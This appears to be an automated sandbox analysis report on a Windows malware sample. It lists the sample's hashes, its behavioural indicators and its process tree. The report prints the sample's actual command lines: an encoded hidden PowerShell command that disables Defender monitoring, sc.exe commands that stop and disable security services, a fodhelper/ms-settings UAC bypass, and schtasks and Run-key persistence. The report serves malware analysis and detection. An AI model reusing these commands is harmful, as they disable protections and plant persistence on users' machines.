Analysis
- max time kernel
150s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 15:02
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
fastfocus.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
fastfocus.io_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target fastfocus.io_hyber.exe
- Size 49KB
- Sample260803-seqryabc85
- SHA256 bc9ba453662051862163cfef090ca96be941b033abbb85429e32a037787ce542
- MD5 5594b4c18fd844bb3f45033f50150e40
- SHA1 7e5729305d3323aadf7c9fc99fc8f18623be67ed
- SHA512 8e0dac604f0b773eba5b79ca67ea94715e0b79945dc4485e7d09870317fb9218c65344e3d81d32235f33fe7f3660367740f607cbcb20a798e030ba21b5a30a85
- SSDEEP 768:QrVZZ6zs0hP4NaFkz0Caqi/NaPzfX/f954T:mZ6HhAN+JSimP/f954T
- TLSH T1C833E74537ED4521D1BF9ABE89B291118731F493DC23DB8E1AD9459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4956-1-0x0000000000020000-0x0000000000032000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" fastfocus.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2984 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" fastfocus.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts fastfocus.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3836 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf fastfocus.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fastfocus.io_hyber.exe" fastfocus.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5808 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe fastfocus.io_hyber.exe File created C:\Windows\system32\sysupdate.exe fastfocus.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe fastfocus.io_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 6124 wscript.exe 5236 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" fastfocus.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1190384399.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4488 sc.exe 2624 sc.exe 4724 sc.exe 5936 sc.exe 704 sc.exe 1216 sc.exe 1500 sc.exe 2148 sc.exe 5040 sc.exe 2460 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3856 cmd.exe 476 cmd.exe 4180 cmd.exe 996 cmd.exe 1876 cmd.exe 3624 cmd.exe 4104 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4704 NETSTAT.EXE 6048 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2940 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3380 vssadmin.exe 4792 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2" fastfocus.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open fastfocus.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open fastfocus.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell fastfocus.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet fastfocus.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command fastfocus.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fastfocus.io_hyber.exe" fastfocus.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell fastfocus.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" fastfocus.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute fastfocus.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command fastfocus.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open fastfocus.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings fastfocus.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell fastfocus.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command fastfocus.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings fastfocus.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\fastfocus.io_hyber.exe\" \"%1\"" fastfocus.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2980 schtasks.exe 5108 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2984 powershell.exe 2984 powershell.exe 2984 powershell.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 1256 WMIC.exe 1256 WMIC.exe 1256 WMIC.exe 1256 WMIC.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4492 WMIC.exe 4492 WMIC.exe 4492 WMIC.exe 4492 WMIC.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe 4956 fastfocus.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4064 LogonUI.exe Token: SeCreatePagefilePrivilege 4064 LogonUI.exe Token: SeDebugPrivilege 4956 fastfocus.io_hyber.exe Token: SeDebugPrivilege 2984 powershell.exe Token: SeIncreaseQuotaPrivilege 2984 powershell.exe Token: SeSecurityPrivilege 2984 powershell.exe Token: SeTakeOwnershipPrivilege 2984 powershell.exe Token: SeLoadDriverPrivilege 2984 powershell.exe Token: SeSystemProfilePrivilege 2984 powershell.exe Token: SeSystemtimePrivilege 2984 powershell.exe Token: SeProfSingleProcessPrivilege 2984 powershell.exe Token: SeIncBasePriorityPrivilege 2984 powershell.exe Token: SeCreatePagefilePrivilege 2984 powershell.exe Token: SeBackupPrivilege 2984 powershell.exe Token: SeRestorePrivilege 2984 powershell.exe Token: SeShutdownPrivilege 2984 powershell.exe Token: SeDebugPrivilege 2984 powershell.exe Token: SeSystemEnvironmentPrivilege 2984 powershell.exe Token: SeRemoteShutdownPrivilege 2984 powershell.exe Token: SeUndockPrivilege 2984 powershell.exe Token: SeManageVolumePrivilege 2984 powershell.exe Token: 33 2984 powershell.exe Token: 34 2984 powershell.exe Token: 35 2984 powershell.exe Token: 36 2984 powershell.exe Token: SeIncBasePriorityPrivilege 4956 fastfocus.io_hyber.exe Token: SeDebugPrivilege 4704 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 2984 powershell.exe Token: SeSecurityPrivilege 2984 powershell.exe Token: SeTakeOwnershipPrivilege 2984 powershell.exe Token: SeLoadDriverPrivilege 2984 powershell.exe Token: SeSystemProfilePrivilege 2984 powershell.exe Token: SeSystemtimePrivilege 2984 powershell.exe Token: SeProfSingleProcessPrivilege 2984 powershell.exe Token: SeIncBasePriorityPrivilege 2984 powershell.exe Token: SeCreatePagefilePrivilege 2984 powershell.exe Token: SeBackupPrivilege 2984 powershell.exe Token: SeRestorePrivilege 2984 powershell.exe Token: SeShutdownPrivilege 2984 powershell.exe Token: SeDebugPrivilege 2984 powershell.exe Token: SeSystemEnvironmentPrivilege 2984 powershell.exe Token: SeRemoteShutdownPrivilege 2984 powershell.exe Token: SeUndockPrivilege 2984 powershell.exe Token: SeManageVolumePrivilege 2984 powershell.exe Token: 33 2984 powershell.exe Token: 34 2984 powershell.exe Token: 35 2984 powershell.exe Token: 36 2984 powershell.exe Token: SeDebugPrivilege 5808 tasklist.exe Token: SeBackupPrivilege 4776 vssvc.exe Token: SeRestorePrivilege 4776 vssvc.exe Token: SeAuditPrivilege 4776 vssvc.exe Token: SeDebugPrivilege 1708 whoami.exe Token: SeIncreaseQuotaPrivilege 1256 WMIC.exe Token: SeSecurityPrivilege 1256 WMIC.exe Token: SeTakeOwnershipPrivilege 1256 WMIC.exe Token: SeLoadDriverPrivilege 1256 WMIC.exe Token: SeSystemProfilePrivilege 1256 WMIC.exe Token: SeSystemtimePrivilege 1256 WMIC.exe Token: SeProfSingleProcessPrivilege 1256 WMIC.exe Token: SeIncBasePriorityPrivilege 1256 WMIC.exe Token: SeCreatePagefilePrivilege 1256 WMIC.exe Token: SeBackupPrivilege 1256 WMIC.exe Token: SeRestorePrivilege 1256 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4956 fastfocus.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4064 LogonUI.exe 4064 LogonUI.exe 4956 fastfocus.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4956 wrote to memory of 2984 4956 fastfocus.io_hyber.exe 91 PID 4956 wrote to memory of 2624 4956 fastfocus.io_hyber.exe 92 PID 4956 wrote to memory of 5040 4956 fastfocus.io_hyber.exe 95 PID 4956 wrote to memory of 4724 4956 fastfocus.io_hyber.exe 151 PID 4956 wrote to memory of 5936 4956 fastfocus.io_hyber.exe 99 PID 4956 wrote to memory of 1216 4956 fastfocus.io_hyber.exe 101 PID 4956 wrote to memory of 2460 4956 fastfocus.io_hyber.exe 103 PID 4956 wrote to memory of 704 4956 fastfocus.io_hyber.exe 105 PID 4956 wrote to memory of 4488 4956 fastfocus.io_hyber.exe 115 PID 4956 wrote to memory of 3336 4956 fastfocus.io_hyber.exe 108 PID 3336 wrote to memory of 1236 3336 fodhelper.exe 110 PID 4956 wrote to memory of 6124 4956 fastfocus.io_hyber.exe 113 PID 4956 wrote to memory of 2980 4956 fastfocus.io_hyber.exe 114 PID 4956 wrote to memory of 3856 4956 fastfocus.io_hyber.exe 119 PID 4956 wrote to memory of 4104 4956 fastfocus.io_hyber.exe 120 PID 4956 wrote to memory of 3624 4956 fastfocus.io_hyber.exe 121 PID 4956 wrote to memory of 1876 4956 fastfocus.io_hyber.exe 122 PID 4956 wrote to memory of 996 4956 fastfocus.io_hyber.exe 123 PID 4956 wrote to memory of 4180 4956 fastfocus.io_hyber.exe 124 PID 4956 wrote to memory of 476 4956 fastfocus.io_hyber.exe 125 PID 4956 wrote to memory of 5108 4956 fastfocus.io_hyber.exe 131 PID 4956 wrote to memory of 5236 4956 fastfocus.io_hyber.exe 135 PID 476 wrote to memory of 4704 476 cmd.exe 136 PID 4104 wrote to memory of 2940 4104 cmd.exe 137 PID 4956 wrote to memory of 4044 4956 fastfocus.io_hyber.exe 138 PID 3856 wrote to memory of 3380 3856 cmd.exe 139 PID 4180 wrote to memory of 6048 4180 cmd.exe 140 PID 4956 wrote to memory of 4792 4956 fastfocus.io_hyber.exe 141 PID 4956 wrote to memory of 1256 4956 fastfocus.io_hyber.exe 142 PID 4956 wrote to memory of 5672 4956 fastfocus.io_hyber.exe 143 PID 4956 wrote to memory of 3836 4956 fastfocus.io_hyber.exe 144 PID 4956 wrote to memory of 2148 4956 fastfocus.io_hyber.exe 145 PID 4956 wrote to memory of 1500 4956 fastfocus.io_hyber.exe 146 PID 3624 wrote to memory of 5808 3624 cmd.exe 154 PID 996 wrote to memory of 1912 996 cmd.exe 155 PID 1876 wrote to memory of 1708 1876 cmd.exe 156 PID 1912 wrote to memory of 824 1912 net.exe 157 PID 5672 wrote to memory of 5636 5672 net.exe 159 PID 3856 wrote to memory of 4492 3856 cmd.exe 160 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\fastfocus.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\fastfocus.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2984
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2624
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:5040
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4724
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:5936
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1216
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2460
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:704
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4488
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3336 -
C:\Users\Admin\AppData\Local\Temp\fastfocus.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\fastfocus.io_hyber.exe"3⤵PID:1236
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:6124
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\fastfocus.io_hyber.exe" /sc onlogon /f2⤵
